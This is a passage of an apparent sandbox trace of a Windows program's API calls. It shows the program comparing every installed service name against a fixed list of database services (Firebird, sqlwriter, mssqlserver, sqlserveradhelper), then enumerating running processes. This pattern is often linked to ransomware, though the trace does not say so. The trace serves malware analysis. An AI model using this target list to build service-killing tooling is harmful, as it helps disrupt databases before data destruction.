lpString2="Appinfo") returned 1 [0275.655] lstrlenW (lpString="AppXSvc") returned 7 [0275.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0275.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0275.655] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0275.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0275.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0275.655] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0275.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.655] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0275.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0275.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0275.655] lstrlenW (lpString="Audiosrv") returned 8 [0275.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0275.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0275.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0275.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0275.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0275.655] lstrlenW (lpString="BFE") returned 3 [0275.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0275.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0275.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0275.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0275.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0275.656] lstrlenW (lpString="BITS") returned 4 [0275.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0275.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0275.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0275.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0275.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0275.656] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0275.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0275.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0275.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0275.656] lstrlenW (lpString="CDPSvc") returned 6 [0275.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0275.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0275.656] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0275.656] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0275.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0275.656] lstrlenW (lpString="ClickToRunSvc") returned 13 [0275.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.656] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0275.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0275.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0275.657] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0275.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0275.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0275.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0275.657] lstrlenW (lpString="CryptSvc") returned 8 [0275.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0275.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0275.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0275.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0275.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0275.657] lstrlenW (lpString="DcomLaunch") returned 10 [0275.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0275.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0275.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0275.657] lstrlenW (lpString="DeviceAssociationService") returned 24 [0275.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0275.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0275.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0275.658] lstrlenW (lpString="Dhcp") returned 4 [0275.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0275.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0275.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0275.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0275.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0275.658] lstrlenW (lpString="Dnscache") returned 8 [0275.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0275.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0275.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0275.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0275.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0275.658] lstrlenW (lpString="DPS") returned 3 [0275.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0275.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0275.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0275.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0275.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0275.658] lstrlenW (lpString="DusmSvc") returned 7 [0275.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0275.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0275.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0275.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0275.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0275.658] lstrlenW (lpString="EventLog") returned 8 [0275.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0275.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0275.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0275.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0275.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0275.659] lstrlenW (lpString="EventSystem") returned 11 [0275.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0275.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0275.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0275.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0275.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0275.659] lstrlenW (lpString="FontCache") returned 9 [0275.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0275.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0275.659] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0275.659] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0275.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0275.659] lstrlenW (lpString="gpsvc") returned 5 [0275.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0275.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0275.659] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0275.659] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0275.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0275.659] lstrlenW (lpString="iphlpsvc") returned 8 [0275.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.659] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0275.659] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0275.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0275.660] lstrlenW (lpString="KeyIso") returned 6 [0275.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0275.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0275.660] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0275.660] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0275.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0275.660] lstrlenW (lpString="LanmanServer") returned 12 [0275.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0275.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0275.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0275.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0275.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0275.660] lstrlenW (lpString="LanmanWorkstation") returned 17 [0275.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0275.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0275.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0275.660] lstrlenW (lpString="lfsvc") returned 5 [0275.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0275.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0275.660] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0275.660] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0275.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0275.660] lstrlenW (lpString="lmhosts") returned 7 [0275.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0275.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0275.661] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0275.661] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0275.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0275.661] lstrlenW (lpString="LSM") returned 3 [0275.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0275.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0275.661] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0275.661] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0275.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0275.661] lstrlenW (lpString="MpsSvc") returned 6 [0275.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0275.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0275.661] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0275.661] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0275.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0275.661] lstrlenW (lpString="NcbService") returned 10 [0275.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0275.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0275.661] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0275.661] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0275.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0275.661] lstrlenW (lpString="netprofm") returned 8 [0275.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0275.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0275.662] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0275.662] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0275.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0275.662] lstrlenW (lpString="NgcSvc") returned 6 [0275.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0275.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0275.662] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0275.662] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0275.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0275.662] lstrlenW (lpString="NlaSvc") returned 6 [0275.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0275.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0275.662] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0275.663] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0275.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0275.663] lstrlenW (lpString="nsi") returned 3 [0275.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0275.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0275.663] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0275.663] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0275.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0275.663] lstrlenW (lpString="PcaSvc") returned 6 [0275.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0275.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0275.664] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0275.664] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0275.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0275.664] lstrlenW (lpString="PlugPlay") returned 8 [0275.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0275.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0275.664] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0275.664] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0275.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0275.664] lstrlenW (lpString="Power") returned 5 [0275.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0275.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0275.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0275.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0275.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0275.664] lstrlenW (lpString="ProfSvc") returned 7 [0275.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.036] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.036] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.054] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.054] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.054] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.054] lstrlenW (lpString="RpcSs") returned 5 [0276.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.072] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.072] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.072] lstrlenW (lpString="SamSs") returned 5 [0276.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.072] lstrlenW (lpString="Schedule") returned 8 [0276.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.072] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.073] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.073] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.073] lstrlenW (lpString="SENS") returned 4 [0276.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.073] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.073] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.073] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.073] lstrlenW (lpString="Spooler") returned 7 [0276.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.073] lstrlenW (lpString="SSDPSRV") returned 7 [0276.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0276.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0276.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0276.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0276.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0276.074] lstrlenW (lpString="StateRepository") returned 15 [0276.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.074] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.074] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.074] lstrlenW (lpString="SysMain") returned 7 [0276.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0276.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0276.074] lstrlenW (lpString="SystemEventsBroker") returned 18 [0276.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0276.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0276.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d3ff0 | out: hHeap=0x670000) returned 1 [0276.075] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x574 [0276.080] Process32FirstW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.081] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.081] lstrlenW (lpString="System") returned 6 [0276.081] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.082] lstrlenW (lpString="smss.exe") returned 8 [0276.082] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.083] lstrlenW (lpString="csrss.exe") returned 9 [0276.083] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.083] lstrlenW (lpString="wininit.exe") returned 11 [0276.083] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.084] lstrlenW (lpString="csrss.exe") returned 9 [0276.084] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.084] lstrlenW (lpString="winlogon.exe") returned 12 [0276.084] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.085] lstrlenW (lpString="services.exe") returned 12 [0276.085] Process32NextW (in: hSnapshot=0x574, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, 